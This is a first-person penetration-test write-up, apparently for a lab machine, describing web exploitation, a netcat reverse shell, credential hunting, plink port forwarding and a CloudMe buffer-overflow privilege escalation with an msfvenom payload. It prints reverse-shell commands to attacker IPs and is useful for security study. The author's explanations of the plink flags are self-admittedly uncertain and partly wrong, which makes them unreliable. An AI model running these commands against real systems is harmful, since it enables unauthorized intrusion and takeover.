Attack Path:

I saw that the website was vulnerable to this exploit https://www.exploit-db.com/exploits/48506 after a bit of enumeration (using dirsearch and finding the readme.md file), and finding out that it runs on the ProjectWorlds service. When I use the exploit on the machine, I have limited access to navigate the machine, but I can upload files. I upload nc.exe (netcat) and start a reverse shell using the command "nc.exe 10.10.14.2 4444 -e powershell.exe" With this fully functional shell, I was able to retrieve the user.txt file.

I tried to enumerate the box in several ways, I used the command
Get-ChildItem "C:\xampp\" -recurse -filter *pass*.txt
to see if there were any leaked credentials, which there didn't seem to be except a passwords.txt file, but the file did not admin passwords. I also uploaded winPEAS.exe, a windows enumeration tool, and used IEX(...) to run Sherlock. Sherlock didn't reveal anything, but winPEAS seemed to indicate that there was a vulnerable service on the machine called CloudMe. Cloud_1112.exe is also found in shaun's Downloads directory. Some quick googling reveals that it is vulnerable to a buffer overflow exploit.

For privilege escalation, I use port forwarding.
I use plink.exe for privilege escalation. I start ssh service on my machine using
sudo service ssh start
I then run the following command on the exploited box:
Plink.exe -v -x -a -T -C -noagent -ssh -pw "toor" -R 8888:127.0.0.1:8888 jinzo@10.10.14.2
Note (I believe this is what each of the flags means but I could be wrong. I am pretty sure that the lower case flags mean enable and the capital case flags mean disable, and am describing the commands based on that assumption).
-x is enable X11 forwarding
X11 forwarding allows a user to start remote applications and forwards the application to your local machine.
-a is enable agent forwarding/ ssh agent forwarding. Ssh agent forwarding allows you to use your local ssh keys instead of leaving keys on your server.
-T is to disable pty allocation. When ssh clients connect, they ask the server for a pty terminal to enable terminal colors, screen clear, etc.
-C is to disable compression.
- noagent is the flag to tell the machine not to use an authentication agent for local authentication.
-R is the command to forward the remote port to the local address. It is in the format listen-port:host:port.
This allows me to run programs on my local machine from the exploited machine.

Afterwards, I use the exploit here https://www.exploit-db.com/exploits/48389 to do the privilege escalation. I have to make some minor adjustments to the program. Specifically, I have to change the payload so that it reflects a different command. The payload as is, is generated from the command:
msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
What I actually want is:
msfvenom -p windows/exec CMD='c:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.3 1234' -b '\x00\x0a\x0d' -f py -v payload
After putting this payload into the exploit, I run the exploit from the compromised machine, while starting a listener from my local machine. This gives me root permissions.